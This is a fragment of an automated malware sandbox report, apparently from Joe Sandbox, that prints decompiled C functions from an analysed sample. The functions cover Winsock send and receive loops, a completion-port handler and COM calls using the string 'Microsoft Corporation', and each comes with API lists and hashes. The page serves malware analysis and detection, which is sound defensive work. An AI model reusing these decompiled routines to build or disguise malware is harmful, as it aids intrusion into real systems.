                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da95
                                                                                                                                                                                                                                                                                                                                                      0x0040daaf

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32 ref: 0040D9EB
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32 ref: 0040DA58
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DA6E
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DA8F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3980219359-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cd43f8c3902c5727d39bbc61be3be8259c32a55a5bef2e2a25043b607f508e6b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 66219BB16043056FD304DF65DC4496BB7E8EF84314F044A3EF855D2291E774D9488BAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E920 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 29%
                                                                                                                                                                                                                                                                                                                                                      			E0040E920(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E730(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}















                                                                                                                                                                                                                                                                                                                                                      0x0040e920
                                                                                                                                                                                                                                                                                                                                                      0x0040e92c
                                                                                                                                                                                                                                                                                                                                                      0x0040e943
                                                                                                                                                                                                                                                                                                                                                      0x0040e947
                                                                                                                                                                                                                                                                                                                                                      0x0040e94b
                                                                                                                                                                                                                                                                                                                                                      0x0040e94f
                                                                                                                                                                                                                                                                                                                                                      0x0040e953
                                                                                                                                                                                                                                                                                                                                                      0x0040e955
                                                                                                                                                                                                                                                                                                                                                      0x0040e95b
                                                                                                                                                                                                                                                                                                                                                      0x0040e960
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e963
                                                                                                                                                                                                                                                                                                                                                      0x0040e965
                                                                                                                                                                                                                                                                                                                                                      0x0040e977
                                                                                                                                                                                                                                                                                                                                                      0x0040e97f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e989
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e99d
                                                                                                                                                                                                                                                                                                                                                      0x0040e99e
                                                                                                                                                                                                                                                                                                                                                      0x0040e9a3
                                                                                                                                                                                                                                                                                                                                                      0x0040e9b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9bd
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c5
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d4
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E953
                                                                                                                                                                                                                                                                                                                                                      • WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040E97F
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E989
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E9C9
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2074799992-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f1c776af9128501d29cee4705a2b1b4ad1ba36568f1778bb86837a4d66991df
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 272131B15083119BC200CF5AD880D5BB7E8BFDCB54F044A2EF598A3250D734EA49CBAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E620 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E658
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32(?,?,0040EB74), ref: 0040E660
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001,?,?,0040EB74), ref: 0040E676
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E69C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Recv$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3668019968-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ec95d775e6cfbd9a2590a832e9d92f0ddf2a25611b5a89fc2bc5adf97daf2ad9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5811CB72104305AFC310CF66EC84AABB7ECEB88700F404D2AF545D2140EA7AE9499BB6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E4B0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E4DC
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E4E2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040E4F8
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E51A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Send$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2121970615-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f5973983c38ff6c41bcb0c8cc8d4e55d77e86a6361b55f0f7183ce974a31385
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E0162712443047FE7308A96DC88F9B77ACDBC9715F10882AF608DA2C0D7B5A945DB7A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E170 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040E170(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408B60( *((intOrPtr*)(_t22 + 0x2c)));
						E00408B60(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}









                                                                                                                                                                                                                                                                                                                                                      0x0040e170
                                                                                                                                                                                                                                                                                                                                                      0x0040e172
                                                                                                                                                                                                                                                                                                                                                      0x0040e177
                                                                                                                                                                                                                                                                                                                                                      0x0040e180
                                                                                                                                                                                                                                                                                                                                                      0x0040e188
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d7
                                                                                                                                                                                                                                                                                                                                                      0x0040e1d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1e3
                                                                                                                                                                                                                                                                                                                                                      0x0040e18a
                                                                                                                                                                                                                                                                                                                                                      0x0040e198
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1bf
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1ba
                                                                                                                                                                                                                                                                                                                                                      0x0040e1c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e1cf
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e19a
                                                                                                                                                                                                                                                                                                                                                      0x0040e19d
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e1a8
                                                                                                                                                                                                                                                                                                                                                      0x0040e198

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,0040E23C,?,?), ref: 0040E180
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E190
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E19D
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E23C,?,?), ref: 0040E1D8
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2223660684-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1a38f0e17db7eb758b10b49a703a570fb38b4efbf56ad3e1397e3e077cab9552
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9874fb6d9fb577f0698250319fea56f66a4ab3ec60cae6f6630c9a07f76bc5f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E501D4756422049FC3209F23ED44AEB73A8AB84711B04483EE846E7681CB39E452CB68
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405B10 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,00406429), ref: 00405B18
                                                                                                                                                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(00415290), ref: 00405B23
                                                                                                                                                                                                                                                                                                                                                      • CoUninitialize.OLE32 ref: 00405B48
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405880: SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405B42
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: String$Free$AllocInitializeUninitialize
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 459949847-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9e918e232ba98e16205a9f08a9f1d69638b7faa6892c1a05ecbc2cf11cc7630f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2db787551f8400b5154615f23e1bb1221c69f356ee019b5dd6257dfff1719785
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79E01275941208FBD714ABE0EC0EBDD7778EB05305F5080A5F90556290D6B95E80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405880 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                                                                      			E00405880(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E00405830(0x411fec, 0x411ffc);
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E00405830(0x41200c, 0x41201c);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408B60(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

















                                                                                                                                                                                                                                                                                                                                                      0x00405886
                                                                                                                                                                                                                                                                                                                                                      0x0040588d
                                                                                                                                                                                                                                                                                                                                                      0x00405894
                                                                                                                                                                                                                                                                                                                                                      0x0040589b
                                                                                                                                                                                                                                                                                                                                                      0x004058a2
                                                                                                                                                                                                                                                                                                                                                      0x004058a9
                                                                                                                                                                                                                                                                                                                                                      0x004058b0
                                                                                                                                                                                                                                                                                                                                                      0x004058b7
                                                                                                                                                                                                                                                                                                                                                      0x004058c1
                                                                                                                                                                                                                                                                                                                                                      0x004058c6
                                                                                                                                                                                                                                                                                                                                                      0x004058c9
                                                                                                                                                                                                                                                                                                                                                      0x004058d0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058da
                                                                                                                                                                                                                                                                                                                                                      0x004058e3
                                                                                                                                                                                                                                                                                                                                                      0x004058eb
                                                                                                                                                                                                                                                                                                                                                      0x004058f5
                                                                                                                                                                                                                                                                                                                                                      0x004058fe
                                                                                                                                                                                                                                                                                                                                                      0x00405906
                                                                                                                                                                                                                                                                                                                                                      0x00405910
                                                                                                                                                                                                                                                                                                                                                      0x00405919
                                                                                                                                                                                                                                                                                                                                                      0x00405921
                                                                                                                                                                                                                                                                                                                                                      0x0040592f
                                                                                                                                                                                                                                                                                                                                                      0x00405939
                                                                                                                                                                                                                                                                                                                                                      0x00405942
                                                                                                                                                                                                                                                                                                                                                      0x0040594a
                                                                                                                                                                                                                                                                                                                                                      0x00405954
                                                                                                                                                                                                                                                                                                                                                      0x00405958
                                                                                                                                                                                                                                                                                                                                                      0x00405961
                                                                                                                                                                                                                                                                                                                                                      0x00405969
                                                                                                                                                                                                                                                                                                                                                      0x004059f3
                                                                                                                                                                                                                                                                                                                                                      0x004059f8
                                                                                                                                                                                                                                                                                                                                                      0x004059fb
                                                                                                                                                                                                                                                                                                                                                      0x00405a02
                                                                                                                                                                                                                                                                                                                                                      0x00405a0b
                                                                                                                                                                                                                                                                                                                                                      0x00405a11
                                                                                                                                                                                                                                                                                                                                                      0x00405a18
                                                                                                                                                                                                                                                                                                                                                      0x00405a1f
                                                                                                                                                                                                                                                                                                                                                      0x00405a28
                                                                                                                                                                                                                                                                                                                                                      0x00405a30
                                                                                                                                                                                                                                                                                                                                                      0x00405a37
                                                                                                                                                                                                                                                                                                                                                      0x00405a40
                                                                                                                                                                                                                                                                                                                                                      0x00405a48
                                                                                                                                                                                                                                                                                                                                                      0x00405a5a
                                                                                                                                                                                                                                                                                                                                                      0x00405a5e
                                                                                                                                                                                                                                                                                                                                                      0x00405a72
                                                                                                                                                                                                                                                                                                                                                      0x00405a74
                                                                                                                                                                                                                                                                                                                                                      0x00405a76
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a7c
                                                                                                                                                                                                                                                                                                                                                      0x00405a80
                                                                                                                                                                                                                                                                                                                                                      0x00405a86
                                                                                                                                                                                                                                                                                                                                                      0x00405a8b
                                                                                                                                                                                                                                                                                                                                                      0x00405a92
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405aa2
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab6
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405aca
